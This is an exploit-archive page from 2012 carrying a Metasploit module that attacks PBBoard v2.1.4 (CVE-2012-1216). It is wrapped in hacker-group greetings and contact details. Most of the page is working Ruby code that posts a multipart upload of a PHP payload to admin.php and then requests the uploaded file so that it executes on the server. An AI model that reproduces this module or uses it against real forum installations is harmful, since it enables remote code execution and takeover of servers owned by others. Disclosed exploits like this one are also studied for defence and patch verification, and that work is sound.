PBBoard v2.1.4 (CSRF) Arbitrary File Upload and Command Execution (MSF)



EKU-ID: 2201 CVE: OSVDB-ID:
Author: KedAns-Dz Published: 2012-05-30 Verified: Verified
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###
# Title : PBBoard v2.1.4 (CSRF) Arbitrary File Upload and Command Execution (MSF)
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com / @1337day.com / @exploit-id.com / @dis9.com)
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com | www.inj3ct0rs.com
# mY nEw FaCeb0ok : http://fb.me/Inj3ct0rK3d
# Friendly Sites : www.dis9.com * www.r00tw0rm.com * www.exploit-id.com
# platform : php
# Type : Metasploit -Remote Exploit-
# Security Risk : Critical
# Tested on : Windows XP-SP3 (Fr) / Ubuntu 10.10
###

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3   |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * soucha |
# | ***** KinG Of PiraTeS * The g0bl!n * dr.R!dE  ***** |
# | ------------------------------------------------- < |
##

# <3 <3 Greetings t0 Palestine <3 <3

# Download : [http://github.com/downloads/PhpMax/PBBoard/PBBoard_v2_1_4.zip]

######## (!) References =>
#  _______________
# | CVE-2012-1216 |
# | OSVDB-79218   |
# | 1337ID-17520  |
# | PS-SEC-109706 |
# | CWE-352       |
#  ---------------
#
######## (!) Exploit ====>

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "PBBoard v2.1.4 (CSRF) Arbitrary File Upload and Command Execution",
      'Description'    => %q{
       This module exploits a Multiple cross-site request forgery (CSRF) vulnerabilities
      in admin.php in PBBoard 2.1.4 allow remote attackers to hijack the authentication
     of administrators for requests that upload a file via an add action.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'KedAns-Dz <ked-h[at]1337day.com>', # Discovery PoC ,and Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2012-1216'],
          ['OSVDB', '79218'],
          ['URL', 'http://1337day.com/exploits/17520'], # 1337ID-17520
          ['URL', 'http://secunia.com/advisories/47948/'], # SA47948
          ['URL', 'http://packetstormsecurity.org/files/109706/PBBoard-2.1.4-Cross-Site-Request-Forgery-Shell-Upload.html'] # PS-SEC-109706
         # CWE-352
         # http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-1216
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "none"
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['PBBoard v2.1.4', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Fev 12 2012",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to dorncms', '/PBBoard v2.1.4'])
        ], self.class)
  end

  def check
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => "#{uri}admin.php"
    })

    if res and res.code == 200 and res.body.empty?
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'

    peer = "#{rhost}:#{rport}"
    payload_name = Rex::Text.rand_text_alpha(rand(5) + 5) + '.php'

    post_data = "--1337day\r\n"
    post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
    post_data << "Content-Type : text/html;\r\n"
    post_data << "<?php "
    post_data << payload.encoded
    post_data << " ?>\r\n"
    post_data << "--1337day\r\n"

    print_status("#{peer} - Sending PHP payload (#{payload_name})")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => "#{uri}admin.php?page=pages&add=1&start=1",
      'ctype'  => 'multipart/form-data; boundary=1337day',
      'data'   => post_data
    })

    if not res or res.code != 200 or res.body !~ /#{payload_name}/
      print_error("#{peer} - I don't think the file was uploaded !")
      return
    end

    print_status("#{peer} - Executing PHP payload (#{payload_name})")
    # Execute our payload
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => "#{uri}#{payload_name}"
    })

    if res and res.code != 200
      print_status("#{peer} - Server returns #{res.code.to_s}")
    end
  end

############# << ThE|End

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]===============================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Caddy-Dz * Mennouchi Islem * Rizky Oz * HMD-Cr3w
# +> Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (1337day.com) * CrosS (r00tw0rm.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * Angel Injection
# NuxbieCyber (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * TM.mOsta * HD Moore
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X * KeyStr0ke
# JF * Kha&miX * Ev!LsCr!pT_Dz * KinG Of PiraTeS * TrOoN * T0xic * L3b-r1Z * Chevr0sky * Black-ID * Dis9-UE
# packetstormsecurity.org * metasploit.com * r00tw0rm.com * OWASP Dz * All Security and Exploits Webs ..
#===========================================================================================================